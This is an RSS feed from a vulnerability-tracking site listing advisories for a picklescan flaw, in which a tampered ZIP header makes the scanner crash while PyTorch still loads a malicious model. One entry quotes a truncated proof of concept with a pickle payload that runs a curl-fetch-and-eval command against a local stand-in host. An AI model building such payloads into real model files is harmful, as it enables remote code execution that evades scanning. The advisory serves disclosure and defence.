<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 12 Oct 2026 18:22:45 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-264498</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-264498</link>
      <description>EUVD-2026-264498</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-264498</guid>
    </item>
    <item>
      <title>fkie_cve-2025-1944</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2025-1944</link>
      <description>&lt;p&gt;picklescan before 0.0.23 is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch&amp;#39;s more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;picklescan before 0.0.23 is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch&amp;#39;s more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2025-1944</guid>
    </item>
    <item>
      <title>GHSA-7q5r-7gvp-wc82 — Zip Exploit Crashes Picklescan But Not PyTorch</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-7q5r-7gvp-wc82</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: picklescan&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;PickleScan is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch&amp;#39;s more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;Python&amp;#39;s built-in zipfile module performs strict integrity checks when extracting ZIP files. If a filename stored in the ZIP header does not match the filename in the directory listing, zipfile.ZipFile.open() raises a BadZipFile error. PickleScan relies on zipfile to extract and inspect the contents of PyTorch model archives, making it susceptible to this manipulation.&lt;/p&gt;
&lt;p&gt;PyTorch, on the other hand, has a more tolerant ZIP handling mechanism that ignores these discrepancies, allowing the model to load even when PickleScan fails. An attacker can exploit this behavior to embed a malicious pickle file inside a model archive, which PyTorch will load, while preventing PickleScan from scanning the archive.&lt;/p&gt;
&lt;p&gt;### PoC
```
import os
import torch&lt;/p&gt;
&lt;p&gt;class RemoteCodeExecution:
    def __reduce__(self):
        return os.system, (f&amp;#34;eval \&amp;#34;$(curl -s http://localhost:8080)\&amp;#34;&amp;#34;,)&lt;/p&gt;
&lt;p&gt;model = RemoteCodeExecution()
file = &amp;#34;does_not_scan_but_opens_in_torch.pth&amp;#34;
torch.save(model, file)&lt;/p&gt;
&lt;p&gt;# modify the header to cause the zip file to rai…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: picklescan&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;PickleScan is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch&amp;#39;s more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;Python&amp;#39;s built-in zipfile module performs strict integrity checks when extracting ZIP files. If a filename stored in the ZIP header does not match the filename in the directory listing, zipfile.ZipFile.open() raises a BadZipFile error. PickleScan relies on zipfile to extract and inspect the contents of PyTorch model archives, making it susceptible to this manipulation.&lt;/p&gt;
&lt;p&gt;PyTorch, on the other hand, has a more tolerant ZIP handling mechanism that ignores these discrepancies, allowing the model to load even when PickleScan fails. An attacker can exploit this behavior to embed a malicious pickle file inside a model archive, which PyTorch will load, while preventing PickleScan from scanning the archive.&lt;/p&gt;
&lt;p&gt;### PoC
```
import os
import torch&lt;/p&gt;
&lt;p&gt;class RemoteCodeExecution:
    def __reduce__(self):
        return os.system, (f&amp;#34;eval \&amp;#34;$(curl -s http://localhost:8080)\&amp;#34;&amp;#34;,)&lt;/p&gt;
&lt;p&gt;model = RemoteCodeExecution()
file = &amp;#34;does_not_scan_but_opens_in_torch.pth&amp;#34;
torch.save(model, file)&lt;/p&gt;
&lt;p&gt;# modify the header to cause the zip file to rai…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-7q5r-7gvp-wc82</guid>
    </item>
    <item>
      <title>PYSEC-2025-20</title>
      <link>https://cve.radiocsirt.org/vuln/pysec-2025-20</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: picklescan&lt;/p&gt;
&lt;p&gt;picklescan before 0.0.23 is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch&amp;#39;s more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: picklescan&lt;/p&gt;
&lt;p&gt;picklescan before 0.0.23 is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch&amp;#39;s more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/pysec-2025-20</guid>
    </item>
  </channel>
</rss>
